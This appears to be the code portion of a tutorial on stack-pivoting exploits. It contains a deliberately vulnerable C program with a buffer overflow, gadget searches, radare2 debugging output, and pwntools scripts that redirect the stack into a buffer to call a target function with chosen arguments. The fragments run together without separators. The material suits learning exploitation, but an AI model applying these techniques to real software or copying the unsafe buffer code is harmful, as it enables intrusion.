mov rsp, rbp
pop rbp
mov rsp, rbp
pop rbp// gcc source.c -o vuln -no-pie
#include <stdio.h>
void winner(int a, int b) {
if(a == 0xdeadbeef && b == 0xdeadc0de) {
puts("Great job!");
return;
}
puts("Whelp, almost...?");
}
void vuln() {
char buffer[0x60];
printf("Try pivoting to: %p\n", buffer);
fgets(buffer, 0x80, stdin);
}
int main() {
vuln();
return 0;
}$ ROPgadget --binary vuln | grep 'leave'
0x000000000040117c : leave ; retLEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229payload = flat(
'A' * 96,
buffer,
LEAVE_RET
)
pause()
p.sendline(payload)
print(p.recvline())mov rsp, rbp
pop rbppayload = flat(
0x0, # account for final "pop rbp"
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer,
LEAVE_RET
)from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer,
LEAVE_RET
)
pause()
p.sendline(payload)
print(p.recvline())from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')$ ROPgadget --binary vuln | grep 'pop rsp'
0x0000000000401225 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
$ ROPgadget --binary vuln | grep 'pop rdi'
0x000000000040122b : pop rdi ; ret
$ ROPgadget --binary vuln | grep 'pop rsi'
0x0000000000401229 : pop rsi ; pop r15 ; retPOP_CHAIN = 0x401225 # RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229payload = flat(
'A' * 104,
POP_CHAIN,
buffer,
0, # r13
0, # r14
0 # r15
)
pause()
p.sendline(payload)
print(p.recvline())$r2 -d -A $(pidof vuln)
[0x7f96f01e9dee]> db 0x004011b8
[0x7f96f01e9dee]> dc
hit breakpoint at: 4011b8
[0x004011b8]> pxq @ rsp
0x7ffce2d4fc68 0x0000000000401225 0x00007ffce2d4fc00
0x7ffce2d4fc78 0x0000000000000000 0x00007ffce2d4fd68[0x004011b8]> ds
[0x00401225]> ds
[0x00401226]> dr rsp
0x7ffce2d4fc00[0x00401226]> ds
[0x00401228]> dr r13
0x4141414141414141payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
payload += flat(
POP_CHAIN,
buffer # rsp - now stack points to our buffer!
)from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())pop <reg> <=== return pointer
<reg value>
xchg <rag>, rspmov rsp, rbp
pop rbpmov rsp, rbp
pop rbp
pop rip